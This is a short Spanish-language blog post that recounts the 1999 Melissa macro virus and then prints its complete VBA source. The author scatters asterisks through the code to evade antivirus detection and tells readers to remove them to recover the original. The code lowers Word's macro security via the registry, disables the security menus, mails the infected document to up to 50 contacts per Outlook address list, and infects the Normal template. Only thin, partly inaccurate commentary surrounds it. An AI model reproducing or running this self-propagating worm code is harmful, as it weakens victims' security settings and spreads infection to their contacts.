21
Dic
09

5.1 Ejemplo de Virus

Hay muchos virus importantes que han pasado a la historia de la informática, como son el ILoveYou, el Blaster, famoso este ultimo por provocar que el ordenador se apagase en 60 segundos sin poder hacer nada, muy extendido en los años 2002-2004 y por último, el virus Melissa, que es el que os mostrare a continuación.

Fue lanzado en 1999 por un estadounidense llamado David L. Smith, sin ningún ánimo de lucro, el virus originalmente tomaba el nombre de Mailissa (por su propagación vía email), Kwyjibo, Eran varios de sus nombres. Básicamente lo que hacía era atacar el tratamiento de texto de Microsoft “Microsoft Word 97” y “2003”, mostraba mensajes en pantalla con el Word y destruía su contenido, propagándose a su vez por email. Al chaval se le fue de las manos y llego a innumerables países causando la detención de David y su prisión.

Aquí os voy a mostrar el código fuente del famoso virus “Melissa”, puede que el antivirus salte con que es dañino aunque intentare repasar el código con “*”, por lo que deberíamos eliminar los “*” y obtendríamos el código original:

Private Sub Document_Open()
On Error Resume Next
If System.**PrivateProfileString(«»,
«HKEY_CURRENT**_USER\Software\Microsoft\Office\9.0\Word\Security», «Level») <> «»

**Aqui vemos como ataca a los registros de Windows para volver vulnerable al Microsoft Office**
Then
CommandBars(«Macro»).Controls(«Security…»).Enabled = False
System.PrivateProfileString(«»,
«HKEY_CURRENT**_USER\Software\Microsoft\Office\9.0\Word\Security», «Level») = 1&
Else

CommandBars(«Tools»).*Controls(«Macro»).Enabled = False
Options.ConfirmConversions = (1 – 1): Options.VirusProtection = (1 – 1):
Options.Save*NormalPrompt = (1 – 1)
End If
Dim UngaDasOutlook, DasMapiName, BreakUmOffASlice
Set UngaDasOutlook = CreateObject(«Outlook.Application»)
Set DasMapiName = UngaDasOutlook.GetNameSpace(«MAPI»)
If System.Private*ProfileString(«»,
«HKEY_CURRENT_USER\Software\Microsoft\Office\», «Melissa?») <> «… by Kwyjibo»
**Vuelve a atacar los registros, originando un mensage**

Then
If UngaDasOutlook = «Outlook» Then
DasMapiName.Logon «profile», «password»
For y = 1 To DasMapiName.AddressLists.Count
Set Addy*Book = DasMapiName.AddressLists(y)
x = 1
Set BreakUmOffASlice = UngaDasOutlook.CreateItem(0)
For oo = 1 To AddyBook.AddressEntries.Count
Peep = AddyBook.AddressEntries(x)
BreakUmOffASlice.Recipients.Add Peep
x = x + 1
If x > 50 Then oo = AddyBook.AddressEntries.Count
Next oo
Break*UmOffASlice.Subject = «Important Message From » &
Application.UserName
BreakUmOffASlice.Body = «Here is that document you asked for … don’t
show anyone else ;-)»
BreakUmOffASlice.Attachments.Add Activedocument.FullName
BreakUmOffASlice.Send
Peep = «»
Next y
DasMapiName.*Logoff
End If
System.PrivateProfileString(«», «HKEY_CURRENT_USER\Software\Microsoft\Office\»,
«Melissa?») = «… by Kwyjibo»
End If
Set ADI1 = Activedocument.*VBProject.VBComponents.Item(1)
Set NTI1 = NormalTemplate.*VBProject.VBComponents.Item(1)
NTCL = NTI1.CodeModule.CountOfLines
ADCL = ADI1.CodeModule.CountOfLines
BGN = 2
If ADI1.Name <> «Melissa» Then
If ADCL > 0 Then _
ADI1.CodeModule.DeleteLines 1, ADCL
Set ToInfect = ADI1
ADI1.Name = «Melissa»
DoAD = True
End If
If NTI1.Name <> «Melissa» Then
If NTCL > 0 Then _
NTI1.CodeModule.DeleteLines 1, NTCL
Set ToInfect = NTI1
NTI1.Name = «Melissa»
DoNT = True
End If
If DoNT* <> True And DoAD <> True Then GoTo CYA
If DoNT* = True Then
Do While ADI1.CodeModule.Lines(1, 1) = «»
ADI1.CodeModule.DeleteLines 1
Loop
ToInfect.CodeModule.AddFromString («Private Sub Document_Close()»)
Do While ADI1.CodeModule.Lines(BGN, 1) <> «»
ToInfect.Code*Module.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
BGN = BGN + 1
Loop
End If
If DoAD = True Then
Do While NTI1.CodeModule.Lines(1, 1) = «»
NTI1.CodeModule.DeleteLines 1
Loop
ToInfect.Code*Module.AddFromString («Private Sub Document_Open()»)
Do While NTI1.CodeModule.Lines(BGN, 1) <> «»
ToInfect.CodeModule.InsertLines BGN, NTI1.CodeModule.Lines(BGN, 1)
BGN = BGN + 1
Loop
End If
CYA:
If NTCL <> 0 And ADCL = 0 And (InStr(1, Activedocument.Name, «Document») =
False) Then
Activedocument.SaveAs FileName:=Activedocument.FullName
ElseIf (InStr(1, Activedocument.Name, «Document») <> False) Then
Activedocument.Saved = True: End If
‘WORD/Melissa written by Kwyjibo
‘Works in both Word 2000 and Word 97
‘Worm? Macro Virus? Word 97 Virus? Word 2000 Virus? You Decide!
‘Word -> Email | Word 97 <–> Word 2000 … it’s a new age!
If Day(Now) = Minute(Now) Then Selection.TypeText » Twenty-two points, plus
triple-word-score, plus fifty points for using all my letters.  Game’s over.
I’m outta here.»
End Sub

Como vemos en este ejemplo, el virus trata de atacar al sistema operativo por el registro, intentando colarse por algún Bug o hueco como este caso es la seguridad del Word, que la cambia a “False”, un valor utilizado en Visual Basic para desactivar y así conseguir entrar y ejecutarse completamente con su mensaje mostrado en pantalla.


0 Respuestas to “5.1 Ejemplo de Virus”



  1. Deja un comentario

Deja un comentario


diciembre 2009
L M X J V S D
 123456
78910111213
14151617181920
21222324252627
28293031